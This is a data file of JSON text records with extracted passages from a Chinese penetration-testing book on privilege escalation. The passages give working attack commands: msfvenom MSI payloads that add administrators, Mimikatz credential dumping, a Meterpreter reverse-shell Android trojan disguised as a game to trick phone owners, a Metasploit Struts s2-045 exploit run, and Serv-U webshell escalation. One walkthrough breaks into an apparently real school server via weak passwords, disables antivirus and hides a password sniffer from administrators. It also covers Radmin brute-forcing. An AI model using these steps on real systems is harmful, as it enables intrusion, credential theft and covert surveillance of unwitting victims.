    {"text": "假设在拿到目标主 机的 Meterpreter 会话后没能通过一些常规方式取得 system 权限，那么 AlwaysInstallElevated 提权可 以带来另一种思路。 7.10.3 Metasploit 下 AlwaysInstallElevated 提权实战演练 假设通过一系列前期渗透，已经成功获得了目标机的 Meterpreter Shell（过程略），尝试了各类 提权方法均失败。 此时可以尝试通过 AlwaysInstallElevated 来实现权限的提升。"},
    {"text": "1．检测目标主机是否存在该漏洞 在 Meterpreter Shell 命令提示符下输入 Shell 命令，进入目标主机的 CMD 环境，然后输入如下 命令，查看 AlwaysInstallElevated 是否被定义，如图 7-87 所示。"},
    {"text": "reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated 399 网络攻防实战研究：漏洞利用与提权 图 7-87 查看 AlwaysInstallElevated 是否被定义 可以看到，当前目标机已经被设置值全为 1，表示已经开启了 AlwaysInstallElevated。 如果组策 略里 AlwaysInstallElevated 没有开启，则会显示“The system was unable to find the specified registry key or value”或者“错误：系统找不到指定的注册表项或值”之类的提示，如图 7-88 所示。 图 7-88 AlwaysInstallElevated 没有开启 如果 AlwaysInstallElevated 没有开启，但已经获得了对注册表的访问权限，还可以通过更改注册 表来开启 AlwaysInstallElevated（必须同时修改两处注册表键值），进而提升权限，甚至将其当成提 权后门。"},
    {"text": "2．生成恶意 MSI 安装文件 利用 Metasploit 下的 MSFVenom 生成一个在目标机器上增加管理员用户的 MSI 安装文件，命令 如下。 msfvenom -f msi -p windows/adduser USER=msi PASS=123!P@ssword-o /root/msi.msi 该命令的意思是在 tmp 文件夹下生成一个名为“msi”的 MSI 安装文件，文件内容为添加一个 账号为“msi”、密码为“123!P@ssword”的用户，如图 7-89 所示。 图 7-89 生成 MSI 安装文件 3．上传并安装该 MSI 文件 在 Meterpreter Shell 命令提示符下，使用下列命令将该 MSI 文件上传到目标主机的 C 盘，如图 7-90 所示。 upload /root/msi.msi c:\\\\msi.msi 图 7-90 上传 MSI 文件 400 第 7 章 Metasploit 漏洞利用与提权 可以看到，文件上传成功。 接下来，输入 Shell 命令，进入目标主机的 CMD 环境，使用命令行 工具 Msiexec 进行安装，具体命令如下。 msiexec /quiet /qn /i C:\\msi.msi Msiexec 工具的相关参数如下。"},
    {"text": "4．查看是否提权成功 以上操作执行成功之后，在目标机上检测添加的用户是否已经具有管理员权限。 输入如下命令 查看管理员组用户列表，可以看到已经提权成功，如图 7-92 所示。 net localgroup administrators 图 7-91 运行 MSI 文件 图 7-92 查看管理员组用户 5．利用 Metasploit 下的 exploit 模块提权 在 Metasploit 下有相对应的模块 exploit/windows/local/always_install_elevated。 利用 exploit 模块 提权就相当简单了，只要设置一个 SESSION 参数即可，如图 7-93 所示。"},
    {"text": "powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1'); Get-RegAlwaysInstallElevated 图 7-96 利用 PowerShell 检查注册表项是否被设置 接着，利用 AlwaysInstallElevated 来添加用户。"},
    {"text": "Write-UserAddMSI 图 7-97 运行 UserAddMSI 并查看用户 402 第 7 章 Metasploit 漏洞利用与提权 看一下管理员组的成员，可知已经在普通权限的 CMD 环境下添加了一个管理员账户，如图 7-98 所示。"},
    {"text": "图 7-98 查看管理员组 7.10.5 AlwaysInstallElevated 漏洞产生原因 该漏洞产生的原因是用户开启了 Windows Installer 特权安装功能，设置的方法如图 7-99 所示。 图 7-99 开启 Windows Installer 特权 打开组策略编辑器（在“运行”框中输入“gpedit.msc”），进行如下设置。 组策略→计算机配置→管理模板→Windows 组件→Windows Installer→永远以高特权进行安 装：选择启用。 组策略→用户配置→管理模板→Windows 组件→Windows Installer→永远以高特权进行安 装：选择启用。"},
    {"text": "[HKEY_CURRENT_USER\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer] \"AlwaysInstallElevated\"=dword:00000001 [HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer] \"AlwaysInstallElevated\"=dword:00000001 提示 对照利用方法进行防御，只要关闭 AlwaysInstallElevated，即可阻止通过 MSI 文件的提权利用。"},
    {"text": "作为一款后渗透测试工 具，它可以帮助安全测试人员轻松抓取系统密码，还具有通过获取的 Kerberos 登录凭据，绕过支持 RestrictedAdmin 模式的 Windows 8 或 Windows Server 2012 的远程终端（RDP）等功能。"},
    {"text": "假设我们通过一系列前期渗透，已经成功获得了目标机的 Meterpreter Shell（过程略），当前权限为 administrator，通过 Getsystem 提权获取了系统权限，如 图 7-100 所示。"},
    {"text": "虽然 Mimikatz 同时支持 32 位和 64 位的 Windows 架构，但如果服务器是 64 位操作系统的话，在直接使用时，Meterpreter 会默认加载一 个 32 位版本的 Mimikatz 到内存，而这会使很多功能无效。"},
    {"text": "在 64 位操作系统中，必须先查看系统进 程列表，在加载 Mimikatz 之前将进程迁移到一个 64 位程序的进程中，才能查看系统密码明文（32 位操作系统没有这个限制）。"},
    {"text": "既然是一个 32 位机器，直接加载 Mimikatz 模块，查看帮助信息，如图 7-102 所示。 图 7-101 查看架构 图 7-102 加载模块 Mimikatz_command 选项可以让我们使用 Mimikatz 的全部特性。"},
    {"text": "图 7-104 查看模块帮助 知道了 Mimikatz 的大概使用方法后，既可以使用 Metasploit 内建的命令，也可以使用 Mimikatz 自带的命令，从目标机器上导出 Hash 和明文证书。"},
    {"text": "图 7-106 票据 图 7-107 获取系统账户信息 使用 samdump 命令查看 samdump 的可用选项，使用“mimikatz_command f samdump::hashes” 405 网络攻防实战研究：漏洞利用与提权 命令抓取 Hash 值，如图 7-108 所示。"},
    {"text": "可以看到，目标机的 3 个用户 administrator、shuteer、test 的密 码相同，Hash 值为“69943c5e63b4d2c104dbbcc15138b72b”，通过 cmd5 网站解密，得知密码为“1”。"},
    {"text": "406 第 7 章 Metasploit 漏洞利用与提权 图 7-111 listProviders Mimikatz 也支持 PowerShell 调用（Invoke-Mimikatz），如图 7-112 所示。 脚本地址：https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/ credentials/Invoke-Mimikatz.ps1。"},
    {"text": "图 7-112 Invoke-Mimikatz Mimikatz 的其他模块包含了很多有用的特性，完整的特性列表可以在 Benjamin Delpy 的博客 http://blog.gentilkiwi.com/中找到。"},
    {"text": "keytool -genkey -v -keystore apk-trojan-key.keystore -alias aliasname -keyalg RSA -keysize 1024 -validity 999 -v：显示密钥库中证书的详细信息。"},
    {"text": "jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore apk-trojan-key.keystore appname.apk aliasname -verbose：签名/验证时输出详细信息。"},
    {"text": "jarsigner -verify verbose-certsappname.apk 使用 zipalign 进行验证。 由于 Kali 中没有预装 zipalign，所以要先运行“apt-get install zipalign” 命令，再用 zipalign 输入下列命令来验证 APK，如图 7-117 所示。 zipalign -v 4 appname.apknewappname.apk 图 7-116 使用-verify 进行签名验证 图 7-117 使用 zipalign 进行验证 7.12.2 监控手机实测 有了一个带有签名的 APK（newbie1.apk），就可以将它安装在任何安卓设备上了。"},
    {"text": "use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost 192.168.0.104 set lport 4444 Exploit 图 7-118 设置相关模块 到这里，准备工作就全部做好了，接下来就是让生成的 APK 运行起来。"},
    {"text": "使用 DNS ARP 劫持欺 骗，通过更换下载的文件将木马种植在目标手机上。 如果把木马改成一个游戏的名字，然后直接发送至目标手机，就有可能诱骗使用者打开木马， 如图 7-119 所示。 409 网络攻防实战研究：漏洞利用与提权 安装完成后，会在手机桌面上生成一个“MainActivity”的程序图标，这就是刚才生成的木马。 点击这个图标，手机没有任何反应，但木马已经开始运行了，如图 7-120 所示。 图 7-119 安装 APK 图 7-120 手机桌面 点击“MainActivity”图标，会自动反弹到监听端口，如图 7-121 所示。"},
    {"text": "图 7-125 拍照 图 7-126 照片 7.13 移植 s2-045 漏洞利用代码模块实战 2017 年 3 月的某一天，国家信息安全漏洞库（CNNVD）收到了杭州安恒信息技术有限公司 （CNNVD 一级技术支撑单位）关于 Apache Struts 2（s2-045）远程代码执行漏洞（CNNVD-201703-152） 的情况报送。"},
    {"text": "7.13.1 s2-045 漏洞简介 Apache Struts 2.3.5 - 2.3.31 及 2.5 - 2.5.10 版本存在远程代码执行漏洞（CNNVD-201703-152， CVE-2017-5638），由于上传功能的异常处理函数没有正确处理用户输入的错误信息，导致远程攻击 者可通过发送恶意的数据包，利用该漏洞在受影响的服务器上执行任意命令。"},
    {"text": "\\core\\src\\main\\java\\org\\apache\\struts2\\dispatcher\\multipart\\MultiPartRequest Wrapper.java \\core\\src\\main\\java\\org\\apache\\struts2\\dispatcher\\multipart\\JakartaMultiPart Request.java \\core\\src\\main\\java\\org\\apache\\struts2\\dispatcher\\multipart\\JakartaStreamMul tiPartRequest.java 7.13.3 s2-045 漏洞的危害及修复措施 攻击者可通过发送恶意构造的 HTTP 数据包利用该漏洞，在受影响的服务器上执行系统命令， 进而完全控制服务器，造成拒绝服务、数据泄露、网站造篡改等。"},
    {"text": "图 7-127 漏洞利用代码 复制代码的内容，保存为 struts2_code_exec_jakarta.rb，然后把它放到 Kali 系统的/usr/share/ metasploit-framework/modules/exploits/multi/http/下，如图 7-128 所示。"},
    {"text": "412 第 7 章 Metasploit 漏洞利用与提权 图 7-128 移动脚本文件 了解漏洞利用代码模块所在的文件夹位置非常重要，这有助于我们寻找不同模块的位置，也有 助于 Metasploit 框架理解模块的基本用法。"},
    {"text": "图 7-129 搜索 s2-045 脚本 7.13.5 Metasploit 下 s2-045 漏洞提权实战 将 s2-045 漏洞利用代码移植到 Metasploit 框架中后，就可以进行渗透测试了。"},
    {"text": "use exploit/multi/http/struts2_code_exec_jakarta set payload linux/x86/meterpreter/reverse_tcp show options 输入如下命令，按实际情况进行设置，如图 7-132 所示。"},
    {"text": "Set RHOST 127.0.0.1 set RPORT 80 Set TARGETURI /memocreate.action Set LHOST 192.168.2.83 Run 413 网络攻防实战研究：漏洞利用与提权 图 7-131 查看参数 图 7-132 设置参数 进入 Shell，即可看到当前已经是 root 权限了，s2-045 漏洞利用成功，如图 7-133 所示。"},
    {"text": "本章主要介绍一些应 用程序（例如 Serv-U、Winmail、Radmin、pcAnywhere、JBoss、Struts、JspRun、Gene6 FTP Server、 Tomcat、Ctrix、VNC、ElasticSearch、Zabbix 等）的提权。 本章主要内容 Ê 通过 Serv-U 提权某 ASP.NET 服务器 Ê 扫描 FTP 口令并利用 Serv-U 提权某服务器 Ê Windows Server 2008 中的 Magic Winmail Server 提权 Ê Radmin 网络渗透提权研究 Ê pcAnywhere 账号和口令的破解与提权 Ê JBoss 远程代码执行漏洞提权 Ê Struts s2-016 和 s2-017 漏洞利用实例 Ê 从 JspRun 后台获取 WebShell Ê Gene6 FTP Server 本地提权 Ê 通过 Tomcat 弱口令提取某 Linux 服务器权限 Ê Citrix 密码绕过漏洞引发的渗透 Ê 从 CuteEditor 漏洞利用到全面控制服务器 Ê 利用 VNC 认证口令绕过漏洞进行渗透 Ê 0day 分析之 ColdFusion 本地包含漏洞的利用方法 Ê ElasticSearch 命令执行漏洞利用及渗透提权 Ê 通过 JBoss Application Server 获取 WebShell Ê Zabbix SQL 注入漏洞及利用探讨 Ê OpenSSL“心脏出血”漏洞分析及利用 Ê ImageMagick 远程执行漏洞分析及利用 Ê Linux glibc 幽灵漏洞的测试与修复 8.1 通过 Serv-U 提权 ASP.NET 服务器 Serv-U 提权是 Windows 系列服务器提权最常用的方法之一。 自 Serv-U 8.0 以后，Serv-U 提权方 网络攻防实战研究：漏洞利用与提权 式发生了一些变化，只要系统安装了 Serv-U，通过 WebShell 就可以直接提权。"},
    {"text": "8.1.1 利用 WebShell 查看系统管理员用户组 在 ASP.NET 的 WebShell 中，单击“CmdShell”超链接，在“CmdPath”文本框中将“cmd.exe” 修改为“net”或者“net.exe”，然后在“Argument”文本框中输入“net localgroup administrators”命 令，最后单击“Submit”按钮查看管理员用户组，如图 8-1 所示，一共有 4 个管理员用户。 图 8-1 查看管理员用户组 8.1.2 执行 SU Exp 在 ASP.NET 的 WebShell 中单击“SU Exp”超链接，“UserName”、“Password”、“Port”文本框 采取默认设置，一般情况下不用变更。"},
    {"text": "在“CmdShell”文本框中输入“cmd.exe /c net user king king 123456!@# /add”，如图 8-2 所示， 执行添加用户命令，在系统中添加一个“king”用户，其密码为“123456!@#”。"},
    {"text": "图 8-3 执行命令提示 在“Su EXP”页面中修改“CmdShell”命令为“cmd.exe /c net localgroup administrators /add”， 将 king 用户添加到管理员组中，如图 8-4 所示。 图 8-4 添加用户到管理员组 8.1.3 检查 Serv-U 提权情况 回到“CmdShell”页面，再次执行“localgroup adminstartors”命令，如图 8-5 所示，king 用户 已经成功添加到管理员组中了。"},
    {"text": "417 网络攻防实战研究：漏洞利用与提权 图 8-5 检查程序执行情况 8.1.4 远程终端登录测试 在 ASP.NET 的 WebShell 中单击“SysInfo”超链接，如图 8-6 所示，可以方便地获取远程终端的 端口及其他一些系统相关信息。"},
    {"text": "图 8-6 查看端口信息 打开远程终端登录窗口，在连接地址中输入“xxx.xxx.xxx.xxx:53389”，如图 8-7 所示，输入刚 才添加的用户名和密码，成功登录远程终端，说明 Serv-U 提权成功。 418 第 8 章 其他应用程序漏洞利用与提权 图 8-7 Serv-U 提权成功 8.1.5 总结与思考 1．漏洞利用方法 Serv-U 默认安装在 C 盘，但也可能安装在其他路径，因此，在提权时需要通过 WebShell 查看 Serv-U 的真实路径，特别是通过 ASP 的 WebShell 提权时，必须进入 Serv-U 的真实路径，提权才会 成功。 Serv-U 7.0 以后的版本提权相对较难，目前网上也有利用程序，但在提权时需要设置才能提权 成功。 通过 WebShell 对 Serv-U 提权是一种方法。 对 Serv-U 来说，如果通过 WebShell 可以查看 Serv-U 的配置文件，那么还可以通过破解 Serv-U 的用户密码来提权。"},
    {"text": "图 8-8 某网站 419 网络攻防实战研究：漏洞利用与提权 8.2.1 信息收集 1．获取 IP 地址信息 直接打开 DOS 窗口，然后使用“ping www.**j.com”命令获取该网站的真实 IP 地址。"},
    {"text": "说明 使用 ping 命令，一方面是为了获取 IP 地址，另一方面是通过延迟时间判断网络速度，也便于后 期对该服务器进行口令检测，例如对 MySQL、MSSQL、FTP 及 POP3 等口令的检测。"},
    {"text": "2．初步获取端口开放情况 使用“sfind.exe -p 61.*.*.96”命令获取该职校服务器的端口开放情况，如图 8-10 所示，该服务 器开放了 21、80 及 3389 端口，通过端口扫描可以初步判断该服务器为 Windows 系列。 图 8-9 获取 IP 地址信息 图 8-10 初步获取端口开放情况 技巧 z 3389 端口一般为远程终端服务开放端口，通过该端口可以初步断定该主机为 Windows 系列 主机。 z 可以先使用 3389 远程终端连接器连接该 IP 地址进行登录尝试，如果登录成功，可以看到该 操作系统是 Windows 2000 Server 还是 Windows Server 2003。 在本例中，通过 3389 远程终端 连接器连接，获取该系统为 Windows 2000 Server 操作系统。"},
    {"text": "8.2.2 口令检测 1．扫描口令 扫描口令可以根据个人习惯进行。 笔者一般是脚本检测和口令检测同步进行，在肉机上直接运 行 HScan，设置参数开始扫描。"},
    {"text": "本次检测中，比较幸运，扫描出该主机 IP 地址存在弱口令，在本地 运行 CuteFTP 8.0 Professional，单击“Site Manager”按钮，在其中新建一个站点，输入该主机的 IP 地址和及取的用户名和密码，最后单击“连接”按钮进行登录尝试，如图 8-11 所示，登录成功。 420 第 8 章 其他应用程序漏洞利用与提权 图 8-11 使用 CuteFTP 8.0 Professional 连接 FTP 服务器 2．信息分析 通过 CuteFTP 8.0 Professional 软件对该 FTP 服务器的当前用户目录中的内容进行查看，可以看 到该 FTP 目录中存在 conn.asp 数据库连接文件。"},
    {"text": "将以上文件下载到本地，并通过 UltraEdit32 编辑器打开 conn.asp 文件，如图 8-12 所示，可以知 道该 Web 站点使用的是 Access 数据库，数据库路径为根目录下的“database\\”，数据库名称为 “l***88.asa”，网站系统是 PowerEasy（动易网络论坛系列）。"},
    {"text": "既然获取了 WebShell， 421 网络攻防实战研究：漏洞利用与提权 就可以直接在该网站输入 IP 地址后进行尝试。 图 8-13 获取 WebShell 地址 8.2.3 实施控制和渗透 1．获取 WebShell 在浏览器中输入“网站地址+对应的 WebShell 地址”，在本例中输入“http://www.n**.com/ newasp.asp”，如图 8-14 所示，该 WebShell 可以正常运行，说明该 WebShell 可用。 图 8-14 获取 WebShell 2．通过 WebShell 查看文件 在 WebShell 中输入密码，然后单击“登录”按钮，验证通过。"},
    {"text": "422 第 8 章 其他应用程序漏洞利用与提权 图 8-15 通过 WebShell 查看文件 3．通过 Serv-U 提升权限 在该 WebShell 中，单击“Serv-U 提权（超强版）”选项，进入提升权限界面，在该界面中使用 默认设置。"},
    {"text": "说明 z 在使用 Serv-U 提升权限时，一般采用 WebShell 默认的用户名和密码为佳。 z 如果服务器口令有强制性设置，则添加用户密码时需要满足复杂性要求，即要求满足大小写 字母、特殊字符、数字及位数等要求。 图 8-16 添加用户提升权限 4．提升权限成功 如图 8-17 所示，提升权限成功后会给出相应的提示，不过需要注意，有时即使显示成功，也不 一定能成功添加用户。 423 网络攻防实战研究：漏洞利用与提权 图 8-17 提权成功 5．登录服务器 打开远程终端登录器 mstsc.exe，输入刚才添加的用户名和密码，进行登录尝试，登录验证通过 后，成功进入该服务器，如图 8-18 所示。 图 8-18 登录服务器 8.2.4 内网渗透和查看 1．查看内网计算机 在 DOS 窗口中输入“net view”命令，查看该服务器上相邻计算机的情况，如图 8-19 所示，包 括本机在内共有 4 台计算机。 运行“ipconfig /all”命令查看该计算机的网络配置及 IP 地址分布情 424 第 8 章 其他应用程序漏洞利用与提权 况，该服务器采用 NAT 方式，映射内网 IP 地址到外网，提供 Web 服务。 图 8-19 查看内网情况 2．实施内网渗透 在使用脚本上传文件时发现，文件一上传就找不到了，上传了好几次都是如此，看来该服务器 上存在强力杀毒软件。 如图 8-20 所示，打开“服务”管理器，找到杀毒软件所在服务，在本例中显 示的服务名称为“McAfee Framework 服务”，将其停止即可，然后上传工具软件。 图 8-20 停止杀毒软件服务 3．内网渗透失败 使用 NTScan 内网口令扫描程序在内网进行扫描，内网口令扫描无直接结果。 425 网络攻防实战研究：漏洞利用与提权 4．再次查看计算机情况 在“Program Files”（程序）目录中可以看到，系统已经安装过 Cain 嗅探工具。 如图 8-21 所示， 通过程序名称“Cain_cn”可以知道该主机可能有国内用户“访问”过。 图 8-21 获取 Cain 安装目录 5．获取网站用户管理登录口令 Cain 是一款口令嗅探工具，使用 Cain 监听后，会自动在该程序安装目录中生成相应的 LST 文 件。"},
    {"text": "例如，HTTP 嗅探结果会保存为 http.lst，将 http.lst 修改为 http.txt，然后打开该文件，从中可以 看到网站传输的用户名和加密后的 MD5 值，如图 8-22 所示。 图 8-22 查看 Cain 嗅探 HTTP 结果 426 第 8 章 其他应用程序漏洞利用与提权 技巧 z 要想查看 Cain 嗅探结果，只需要到 Cain 安装目录下查看是否存在 LST 文件即可。"},
    {"text": "z 安装 Cain 时，安装程序选择一个不容易发现的目录，安装完毕后，将安装目录移动到其他 程序目录中，然后删除程序菜单中有关 Cain 的快捷方式，就可以达到隐藏的目的。 z 运行 Cain 时，可以将其设置为隐藏模式。"},
    {"text": "这样，即使是管理员登录系统，如果不仔细检测， 也不容易发现服务器被安装了 Cain，此时只有通过使用自定义的快捷键才能打开 Cain 的操 作界面。"},
    {"text": "在 Cain 安装目录下找到 Cain.exe 程序，双击运行，如图 8-23 所示，可以比较直观地看到 Cain 的修改结果，FTP 与 SMB 监 听的结果为 1 条，HTTP 监听的结果为 145 条，HTTP 监听的结果显示为用户 gxr 的登录密码和相关 网页操作。"},
    {"text": "图 8-23 通过 Cain 直接查看嗅探结果 8.2.5 简单的安全加固 1．使用 360 安全卫士进行简单的安全加固 在该计算机上发现安装有 360 安全卫士，打开 360 安全卫士，对系统进行一些简单的安全扫 描。"},
    {"text": "2．使用杀毒软件清除系统中的病毒 使用 McAfee 杀毒软件对系统中的磁盘进行扫描处理，如图 8-25 所示，发现系统中存在一些病 毒，该文件所在目录为一个 FTP 匿名登录目录，可以猜测是攻击者利用社会工程学进行了挂马。 427 网络攻防实战研究：漏洞利用与提权 图 8-24 使用“360 安全卫士”进行简单加固 图 8-25 使用杀毒软件进行杀毒 8.2.6 总结与思考 本次安全检测仅仅通过扫描 FTP、MySQL 及 MSSQL 弱口令就获取了某职业学校的控制权限， 如果有时间和耐心，应该可以渗透该内部网络。"},
    {"text": "本次安全检测的关键就是通过 CuteFTP 8.0 Professional 获取了该网站的一些关键文件，包括 WebShell，直接通过 Serv-U 提升权限成功，进而成功控制了系统。"},
    {"text": "z 对系统进行杀毒、木马检测、端口查看、网络连接等安全检查。 z 对网站代码进行安全检测，查看代码中是否包含后门和木马代码。 z 安装防火墙并及时升级系统防火墙和系统补丁。"},
    {"text": "428 第 8 章 其他应用程序漏洞利用与提权 z 更改 3389 端口为其他端口，在事件中增加安全审核，并仅授权管理 IP 地址，即仅某一个网 段或者某一个 IP 地址才能访问 3389 端口。"},
    {"text": "8.3 Windows Server 2008 中的 Magic Winmail Server 提权 Magic Winmail Server（简称“Winmail”）是一款安全、易用、全功能的邮件服务器软件，不仅 支持 SMTP、POP3、IMAP、Webmail、LDAP（公共地址簿）、多域、发信认证、反垃圾邮件、邮件 过滤、邮件组、公共邮件夹等标准邮件功能，还提供了 RBL、SPF、Spam Assassin、邮件签核、邮 件杀毒、邮件监控功能，并支持 IIS、Apache、网络硬盘及共享、短信提醒、邮件备份、SSL（TLS） 安全传输协议、邮件网关、动态域名支持、远程管理、Web 管理、独立域管理员、在线注册、二次 开发接口等特色功能。"},
    {"text": "Magic Winmail Server 程序安装为系统服务，一般是在 administrator 权限下运行的，而服务程序 MailServer.exe 是在 system 权限下运行的，因此，当有 WebShell 时，就可以通过这个漏洞来提升权 限了。 Magic Winmail Server 提供的 Webmail 是通过 PHP 脚本实现管理的，下面就针对该邮件服务 器的提权和防范进行探讨。"},
    {"text": "z 如果获取的 WebShell 是 ASP.NET 的，则可以直接通过查看进程或者服务获取 Winmail 的物 理地址； 如果 iisspy 可以使用，也可以获取 Winmail 的网站真实路径。 z 针对目标对象进行邮件地址测试，一般提供 Winmail 的地址多为 mail.somesie.com 或者 webmail.somesite.com。"},
    {"text": "8.3.2 执行 whoami 命令 在 WebShell 中进入“Execute Command”页面，在“Use”下拉列表中选择“phpfunc”选项， 在“Command”文本框中输入“whoami”命令查看 WebShell 是什么权限，如图 8-27 所示，显示为 “nt authority\\system”权限。 图 8-26 获取 Winmail 的网站真实路径 图 8-27 查看 WebShell 的权限 429 网络攻防实战研究：漏洞利用与提权 8.3.3 添加用户到管理员组 既然是系统权限，就可以直接执行添加命令。"},
    {"text": "由于系统是 Windows Server 2008，所以，前几次 添加用户总是提示不成功，分析发现 Windows Server 2008 系统用户密码对强度有要求，必须具备一 定的复杂度才能添加成功。"},
    {"text": "如图 8-28 所示，执行“net user SQLdebugger WsP%emp2005!* /add”命 令成功。 后面分别执行“net user SQLdebugger Administrators /add”和“net localgroup administrators” 命令，将 SQLdebugger 用户加入管理员组中，并查看管理员用户组中的用户，执行效果如图 8-29 和 图 8-30 所示。"},
    {"text": "图 8-28 添加用户到系统中 图 8-29 添加用户到管理员组中 图 8-30 查看系统管理员组 8.3.4 设置并登录远程终端服务器 依次单击“开始”→“运行”选项，在“运行”文本框中输入“mstsc”命令，打开远程桌面连 接窗口。"},
    {"text": "如图 8-31 所示，在“计算机”设置框中输入目标服务器的 IP 地址或者域名，在“用户名” 文本框中输入“SQLdebugger”，在“密码”文本框中输入刚才添加的密码，选中“保存密码”复选 框，下次连接时不用再次输入密码。"},
    {"text": "430 第 8 章 其他应用程序漏洞利用与提权 图 8-31 设置远程终端桌面 图 8-32 进入 Windows Server 2008 远程桌面 8.3.5 Winmail 邮箱用户与口令 Winmail 的配置文件保存在“G:/Winmail/server/”目录下，即 Winmail 安装目录下的“Server”子 目录。"},
    {"text": "图 8-33 Winmail 用户配置文件 图 8-34 获取 Winmail 的 MD5 密码 8.3.6 进入邮箱 使用破解的密码和用户名成功登录，如图 8-35 所示，通过验证可知，Winmail PHP 版本的邮件用 户密码多采用 MD5 加密。"},
    {"text": "图 8-35 进入邮箱 431 网络攻防实战研究：漏洞利用与提权 8.3.7 Winmail 服务器安全防范 Winmail 服务器本身相对比较安全，但该软件将 PHP 脚本环境的权限设置为系统权限就相对危 险了，其防范方法如下。"},
    {"text": "后来，由于黑客和病毒大量使用 R_server 做为媒介，因此将 R_server 做为安全威胁处理。 目前，一些以主动防御为主的杀毒软件及 防火墙会主动将 R_server 列入黑名单。"},
    {"text": "8.4.1 Radmin 简介 “Radmin”是“Remote Administrator”的简称，其官方网站（http://www.radmin.com）的解释为 “PC Remote Control Software and Remote Access Software”（PC 远程控制和远程访问软件）。 Radmin 是一款屡获殊荣的远程控制软件，目前新版本为 3.4，它将远程控制、外包服务组件及网络监控结合 到一个系统里，提供目前为止最快速、最强健且最安全的工具包。 1．主要特点 （1）最高工作速度 Radmin 是目前速度最快的远程控制软件，其 Direct Screen Transfer™ 技术采用了视频挂钩内核 模式驱动程序，将捕捉率提高到每秒数百次屏幕更新。"},
    {"text": "（2）最高安全级别 Radmin 以加密模式工作，为所有连接到远程计算机的数据、屏幕图像、鼠标移动和键盘信号采用 随机生成的密钥 256 位 AES 强加密，而且可以使用 Windows Security 或 Radmin Security。"},
    {"text": "Windows 安全性支持对特定用户使用不同的权限，或者对主域、可信域和活动目录的用户组使用不同的权 限，支持自动使用登录用户凭证和 Kerberos 验证。"},
    {"text": "432 第 8 章 其他应用程序漏洞利用与提权 （3）硬件支持英特尔 AMT 新产品远程控制 Radmin 3.4 支持英特尔 AMT（主动管理技术），它允许进行远程计算机控制（即使是关闭或无 法启动操作系统）。"},
    {"text": "可以使用 Radmin 浏览器打开、重新启动和关闭远程计算机。 Radmin 还能使用户 可以查看和修改远程计算机的 BIOS 设置，并从本地 CD 或磁盘映像文件启动远程计算机。"},
    {"text": "（4）全面兼容 Windows 7 新功能 Radmin 3.4 完全支持 Windows 7 32 位和 64 位操作系统，包括用户账户控制和快速用户切换。 Radmin 3.4 的服务端支持 Windows 7/Vista/XP/2008/2003/2000（32 位）和 Windows 7/Vista/XP/2008/ 2003（64 位）操作系统。 Radmin 3.4 的浏览器端支持 Windows 7/Vista/XP/2008/2003/2000/ME/98/95/ NT4.0（32 位）和 Windows 7/Vista/XP/2008/2003（64 位）操作系统。 （5）操作简单，支持多连接 Radmin 支持被控端以服务的方式运行，支持多个连接和 IP 地址过滤（即允许特定的 IP 地址控 制远程机器）、个性化的文档互传、远程关机，支持高分辨率模式、基于 Windows NT 的安全支持和 密码保护，以及提供日志文件等。 Radmin 目前支持 TCP/IP 协议，应用十分广泛。 2．软件组成 Radmin 分为服务端（Radmin Server）和浏览器端（Radmin Viewer）两个部分，在早期版本中， 这两个部分是集成在一起的，在 Radmin 3.0 以后就将其分开了。 浏览器端即 Radmin.exe，服务端即 早期的 R_server.exe。"},
    {"text": "服务端主程序由 “R_server.exe”更名为“rserver3.exe”，其安装文件路径由“C:\\Program Files\\Radmin”更改为“C:\\ WINDOWS\\system32\\rserver30”，共有 25 个主要程序文件。"},
    {"text": "8.4.2 Radmin 口令暴力攻击 网上基本找不到有关 Radmin 口令暴力的工具，笔者在国外论坛查阅资料时偶然得到了一款有关 该软件口令破解的工具。 1．Radmin 破解文件分析 （1）文件组成 该暴力破解软件共有 4 个文件，分别是 password.txt、radmin.exe、radmin.nfo、radmincracker.exe。"},
    {"text": "password.txt 为密码字典文件，该文件可以手动修改，每一个密码为单独一行，使用“记事本”程序 打开后，如图 8-36 所示，其中包含 5 个密码，第一个密码为空，后面的密码依次是“radmin”、 “password”、 “letmein”和“admin”，该密码文件即 Radmin 服务端的连接密码。"},
    {"text": "（2）Radmin 口令破解命令格式 使用 UltraEdit 软件直接编辑 radmincracker.exe，使用二进制格式查看，radmincracker.exe 的命令 格式为“radmincracker.exe ip ip ip”，如图 8-37 所示。 在 DOS 提示符下输入“radmincracker.exe”并 运行，也会提示其命令格式。 433 网络攻防实战研究：漏洞利用与提权 图 8-36 Radmin 破解程序密码字典 图 8-37 获取 Radmin 破解程序的具体运行命令 （3）测试环境的搭建 在虚拟机中建立两个 Windows XP 操作系统（A 系统和 B 系统），在 A 系统中安装 Radmin 2.2， 在 B 系统中将 Radmin 口令破解软件放到“Tools”文件夹中。"},
    {"text": "将 sfind.exe 复制到 B 系统中，使用“sfind -p 192.168.209.130”语句查看 A 系统中对外端口的开放情 况，如果结果中未看到 4899 端口开放，可能有两个原因：一是被防火墙拦截；"},
    {"text": "可以关闭 Windows 防火墙或者在防火墙例外列表中添加 4899 端口为允许端 口，然后重启 A 系统或者在命令提示符下使用“net start r_server”命令启动 Radmin 服务端。"},
    {"text": "在 DOS 提示符下会给出 IP 地址和密码的列表，当找到匹配的密码后会给出结果，在本例中显 示的结果为“192.168.209.130: password successfully opened”。"},
    {"text": "破解成功后，破解程序会自动 Telnet 被破解的 Radmin 服务端，也就是说，Radmin 客户端是通过 Telnet 方式连接的。 3．破解后续处理及技巧 Radmincracker 破解程序在破解 Radmin 密码成功后会自动在当前文件夹下生成一个 TXT 文件， 文件以被破解的 IP 地址命名，如图 8-39 所示，在该文件中显示格式为“IP 地址:密码”。 图 8-38 口令破解测试 图 8-39 破解结果文件 434 第 8 章 其他应用程序漏洞利用与提权 Radmin 破解技巧 z radmincracker.exe 破解程序在破解时占用系统资源较多，因此，在破解时密码字典不宜太大， 每一次破解密码字典以小于 100kB 为佳。"},
